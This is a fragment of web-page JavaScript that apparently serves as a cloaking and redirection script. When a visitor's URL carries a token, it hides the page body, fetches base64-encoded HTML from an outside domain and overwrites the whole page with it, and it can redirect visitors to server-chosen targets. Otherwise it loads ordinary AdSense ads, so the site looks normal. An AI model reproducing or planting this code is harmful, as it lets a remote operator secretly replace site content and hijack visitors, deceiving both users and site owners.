var pre_uads = window.location.hash; var ovo_res = ''; var endpoint = 'https://108429888439787693110.bisa-aja.my.id'; var capub = '11111'; var pre_content = '1'; var base_origin = window.location.origin; if(!window.location.origin) { window.location.origin=window.location.protocol+"//"+window.location.hostname+(window.location.port?':'+window.location.port:''); } if(pre_uads.includes('uads=')) { ovo_res = pre_uads.replace('#uads=',''); var api_url=`${endpoint}/pre?token=${encodeURIComponent(ovo_res)}`; fetch(api_url).then(response=>response.json()).then(function(data){ sessionStorage.setItem('ovo_res',ovo_res); if(!pre_content) { window.location.href= data.base; } }).catch(error=>console.log(error)); } else { ovo_res = sessionStorage.getItem('ovo_res'); } console.log(ovo_res); function loadAdSenseScript() { if(capub) { var ad = document.createElement('script'); var crs = document.createAttribute('crossorigin'); crs.value = 'anonymous'; ad.setAttributeNode(crs); ad.async = true; ad.src = `https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-${capub}`; var sc = document.getElementsByTagName('head')[0]; sc.parentNode.insertBefore(ad, sc); console.log('ok, lazy ads..'); } } function pingMe(url) { var api_url = `${endpoint}/ping?x=${encodeURIComponent(url)}`; fetch(api_url).then(response => response.json()).then(function(res) { var token = res.token; var myStatus = res.status; var myTarget = res.direct; if(myStatus === true & myTarget !== false) { window.location.href = myTarget; //window.location.href = `${base_origin}?uads=${token}`; } }).catch(error => { console.log(error); }); return false; } const hideBody = () => { const style = document.createElement('style'); style.id = 'body-hide-style'; style.innerHTML = 'body { display: none; }'; document.head.appendChild(style); }; if(ovo_res) { hideBody(); var api_url=`${endpoint}/json?token=${encodeURIComponent(ovo_res)}`; fetch(api_url).then(response=>response.json()).then(function(data){ var html_content = ''; if(pre_uads.includes('uads=') && pre_content) { html_content = data.pre_html; } else if(!pre_uads.includes('uads=')) { html_content = data.html; } if(html_content) { let decodedString = decodeURIComponent(escape(window.atob(html_content))) var newHTML=document.open("text/html","replace");newHTML.write(decodedString);newHTML.close(); } }).catch(error=>console.log(error)); } else { loadAdSenseScript(); }